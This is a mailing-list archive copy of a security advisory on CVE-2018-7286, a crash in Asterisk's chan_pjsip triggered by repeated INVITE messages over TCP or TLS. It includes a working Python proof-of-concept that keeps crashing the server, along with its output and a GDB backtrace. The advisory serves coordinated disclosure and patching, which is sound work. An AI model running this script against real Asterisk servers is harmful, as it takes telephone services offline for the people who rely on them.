[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [FD] ES2018-04 Asterisk pjsip tcp segfault
From: Sandro Gauci <sandro () enablesecurity ! com>
Date: 2018-02-26 16:43:16
Message-ID: 1519663396.4124691.1283881240.3555F139 () webmail ! messagingengine ! com
[Download RAW message or body]
# Crash occurs when sending a repeated number of INVITE messages over TCP or TLS transport
- Authors:
- Alfred Farrugia <alfred@enablesecurity.com>
- Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` installed with \
`--with-pjproject-bundled`
- References: AST-2018-005, CVE-2018-7286
- Enable Security Advisory: \
<https://github.com/EnableSecurity/advisories/tree/master/ES2018-04-asterisk-pjsip-tcp-segfault>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-005.html>
- Tested vulnerable versions: 15.2.0, 15.1.0, 15.0.0, 13.19.0, 13.11.2, 14.7.5
- Timeline:
- Issue reported to vendor: 2018-01-24
- Vendor patch made available to us: 2018-02-05
- Vendor advisory published: 2018-02-21
- Enable Security advisory: 2018-02-22
## Description
A crash occurs when a number of INVITE messages are sent over TCP or TLS and
then the connection is suddenly closed. This issue leads to a segmentation fault.
## Impact
Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.
## How to reproduce the issue
The following script was used to reproduce the issue on a TLS connection:
```python
import md5
import re
import socket
import ssl
import uuid
from time import sleep
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5061
USERNAME = "3000"
PASSWORD = "3000"
INVITE_USERNAME = "3000"
errno = 0
lasterrno = 0
while True:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock = ssl.wrap_socket(sock,
ssl_version=ssl.PROTOCOL_TLSv1,
)
sock.connect((SERVER_IP, SERVER_PORT))
sock.settimeout(0.5)
errno = 0
callid = str(uuid.uuid4())
for ix in range(10):
sdpbody = ""
msg = "INVITE sip:%s@%s:%i SIP/2.0\r\n" \
"To: <sip:%s@%s:%i>\r\n" \
"From: Test <sip:%s@%s:%s>\r\n" \
"Call-ID: %s\r\n" \
"CSeq: 2 INVITE\r\n" \
"Via: SIP/2.0/TLS 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
"Contact: <sip:%s@172.17.0.1>\r\n" \
"Content-Type: application/sdp\r\n" \
"{{AUTH}}" \
"Content-Length: %i\r\n" \
"\r\n" % (
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
USERNAME, SERVER_IP, SERVER_PORT,
callid, callid,
USERNAME, len(sdpbody)
) + \
sdpbody
sock.sendall(msg.replace("{{AUTH}}", ""))
data = sock.recv(10240)
# print(data)
if data.startswith("SIP/2.0 401"):
for line in data.split('\r\n'):
if line.startswith("WWW-Authenticate"):
content = line.split(':', 2)[1].strip()
realm = re.search(
"realm=\"([a-z]+)\"", content).group(1)
nonce = re.search(
"nonce=\"([a-z0-9\/]+)\"", content).group(1)
ha1 = md5.new(USERNAME + ":" + realm +
":" + PASSWORD).hexdigest()
uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
ha2 = md5.new("INVITE:" + uri).hexdigest()
r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()
auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
"realm=\"%s\"," % (realm) + \
"nonce=\"%s\"," % (nonce) + \
"uri=\"%s\"," % (uri) + \
"response=\"%s\"," % (r) + \
"algorithm=md5\r\n"
print(auth)
sock.sendall(msg.replace("{{AUTH}}", auth))
errno = 0
except (socket.error, ssl.SSLEOFError), err:
print(err)
print("getting close!")
sleep(2)
errno += 1
if errno >= 10:
print("confirmed dead")
break
elif errno > lasterrno:
lasterrno = errno
continue
```
The output from the tool should show the following:
```
> python test.py
Authorization: Digest \
username="3000",realm="asterisk",nonce="1516728889/07e2e34fbd45ed7f6b1bca0d2bde50ae",uri="sip:127.0.0.1:5061",response="a2b7e2bfa722730b64787664db474f2a",algorithm=md5
EOF occurred in violation of protocol (_ssl.c:590)
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
confirmed dead
```
Notes:
- authentication may be required
- the destination SIP address should match a valid extension in the dialplan
- similar code to the above can be used to reproduce the issue on TCP transport
### GDB backtrace result
```
gdb --args /opt/asterisk/sbin/asterisk -fcvvv
Thread 25 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff030a700 (LWP 133)]
ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
3956 if (!tdata->dest_info.addr.count || (tdata->dest_info.cur_addr == \
tdata->dest_info.addr.count - 1)) { (gdb) bt
#0 ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
#1 0x00007ffff1a8dbb1 in check_request_status (inv=inv@entry=0x7fff9910bac8, e=0x7ffff0308ae0) \
at res_pjsip_session.c:3371 #2 0x00007ffff1a8dc83 in session_inv_on_state_changed \
(inv=0x7fff9910bac8, e=0x7ffff0308ae0) at res_pjsip_session.c:3455 #3 0x00007ffff7848217 in \
inv_set_state (state=PJSIP_INV_STATE_DISCONNECTED, e=0x7ffff0308ae0, inv=0x7fff9910bac8) at \
../src/pjsip-ua/sip_inv.c:317 #4 inv_on_state_null (inv=0x7fff9910bac8, e=0x7ffff0308ae0) at \
../src/pjsip-ua/sip_inv.c:3890 #5 0x00007ffff7841a77 in mod_inv_on_tsx_state \
(tsx=0x7fff99116408, e=0x7ffff0308ae0) at ../src/pjsip-ua/sip_inv.c:717 #6 0x00007ffff788299d \
in pjsip_dlg_on_tsx_state (dlg=0x7fff990eccc8, tsx=0x7fff99116408, e=0x7ffff0308ae0) at \
../src/pjsip/sip_dialog.c:2066 #7 0x00007ffff787b513 in tsx_set_state (tsx=0x7fff99116408, \
state=PJSIP_TSX_STATE_TERMINATED, event_src_type=PJSIP_EVENT_TRANSPORT_ERROR, \
event_src=0x7fff9910fda8, flag=0) at ../src/pjsip/sip_transaction.c:1267
#8 0x00007ffff787cfec in send_msg_callback (send_state=0x7fff9918d2f0, sent=-171064, \
cont=0x7ffff0308c04) at ../src/pjsip/sip_transaction.c:1970 #9 0x00007ffff78661ae in \
send_response_resolver_cb (status=<optimized out>, token=0x7fff9918d2f0, addr=0x7ffff0308c60) \
at ../src/pjsip/sip_util.c:1721 #10 0x00007ffff184df8c in sip_resolve (resolver=<optimized \
out>, pool=<optimized out>, target=0x7fff99116530, token=0x7fff9918d2f0, cb=0x7ffff78660f0 \
<send_response_resolver_cb>) at res_pjsip/pjsip_resolver.c:527
#11 0x00007ffff7869adb in pjsip_resolve (resolver=0x1b64d40, pool=<optimized out>, \
target=target@entry=0x7fff99116530, token=token@entry=0x7fff9918d2f0, \
cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_resolve.c:209 #12 \
0x00007ffff78652b9 in pjsip_endpt_resolve (endpt=endpt@entry=0x1638d28, pool=<optimized out>, \
target=target@entry=0x7fff99116530, token=token@entry=0x7fff9918d2f0, \
cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_endpoint.c:1164 #13 \
0x00007ffff7867fe1 in pjsip_endpt_send_response (endpt=0x1638d28, \
res_addr=res_addr@entry=0x7fff99116508, tdata=tdata@entry=0x7fff9910fda8, \
token=token@entry=0x7fff99116408, cb=cb@entry=0x7ffff787cd80 <send_msg_callback>) at \
../src/pjsip/sip_util.c:1796 #14 0x00007ffff787bdac in tsx_send_msg (tsx=0x7fff99116408, \
tdata=0x7fff9910fda8) at ../src/pjsip/sip_transaction.c:2237 #15 0x00007ffff787dc67 in \
tsx_on_state_proceeding_uas (event=0x7ffff0309b30, tsx=0x7fff99116408) at \
../src/pjsip/sip_transaction.c:2704 #16 tsx_on_state_trying (tsx=0x7fff99116408, \
event=0x7ffff0309b30) at ../src/pjsip/sip_transaction.c:2634 #17 0x00007ffff787fba7 in \
pjsip_tsx_send_msg (tsx=tsx@entry=0x7fff99116408, tdata=tdata@entry=0x7fff9910fda8) at \
../src/pjsip/sip_transaction.c:1789 #18 0x00007ffff78822a3 in pjsip_dlg_send_response \
(dlg=0x7fff990eccc8, tsx=0x7fff99116408, tdata=tdata@entry=0x7fff9910fda8) at \
../src/pjsip/sip_dialog.c:1531 #19 0x00007ffff784519a in pjsip_inv_send_msg \
(inv=0x7fff9910bac8, tdata=0x7fff9910fda8) at ../src/pjsip-ua/sip_inv.c:3231 #20 \
0x00007ffff1a8c043 in ast_sip_session_send_response (session=session@entry=0x7fff9910e208, \
tdata=<optimized out>) at res_pjsip_session.c:1712 #21 0x00007ffff1a8ec09 in new_invite \
(invite=<synthetic pointer>) at res_pjsip_session.c:2963 #22 handle_new_invite_request \
(rdata=0x7fff9524ce58) at res_pjsip_session.c:3062 #23 session_on_rx_request \
(rdata=0x7fff9524ce58) at res_pjsip_session.c:3126 #24 0x00007ffff7864e97 in \
pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=rdata@entry=0x7fff9524ce58, \
p=p@entry=0x7ffff1a7ed00 <param>, p_handled=p_handled@entry=0x7ffff0309d44) at \
../src/pjsip/sip_endpoint.c:893 #25 0x00007ffff185427f in distribute (data=0x7fff9524ce58) at \
res_pjsip/pjsip_distributor.c:903 #26 0x00000000005fc6fe in ast_taskprocessor_execute \
(tps=tps@entry=0x1cf2b08) at taskprocessor.c:963 #27 0x0000000000603960 in execute_tasks \
(data=0x1cf2b08) at threadpool.c:1322 #28 0x00000000005fc6fe in ast_taskprocessor_execute \
(tps=0x16343d8) at taskprocessor.c:963 #29 0x0000000000603e40 in threadpool_execute \
(pool=0x1637b78) at threadpool.c:351 #30 worker_active (worker=0x7fffa0000948) at \
threadpool.c:1105 #31 worker_start (arg=arg@entry=0x7fffa0000948) at threadpool.c:1024
#32 0x000000000060eddd in dummy_start (data=<optimized out>) at utils.c:1257
#33 0x00007ffff5e366ba in start_thread (arg=0x7ffff030a700) at pthread_create.c:333
#34 0x00007ffff541f3dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)
```
## Solutions and recommendations
Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the \
latest release.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) provides Information Security services, \
including Penetration Testing, Research and Development, to help protect client networks and \
applications against online attackers.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on \
currently available information. Use of the information constitutes acceptance for use in an AS \
IS condition. There are no warranties with regard to this information. Neither the author nor \
the publisher accepts any liability for any direct, indirect, or consequential loss or damage \
arising from use of, or reliance on, this information.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic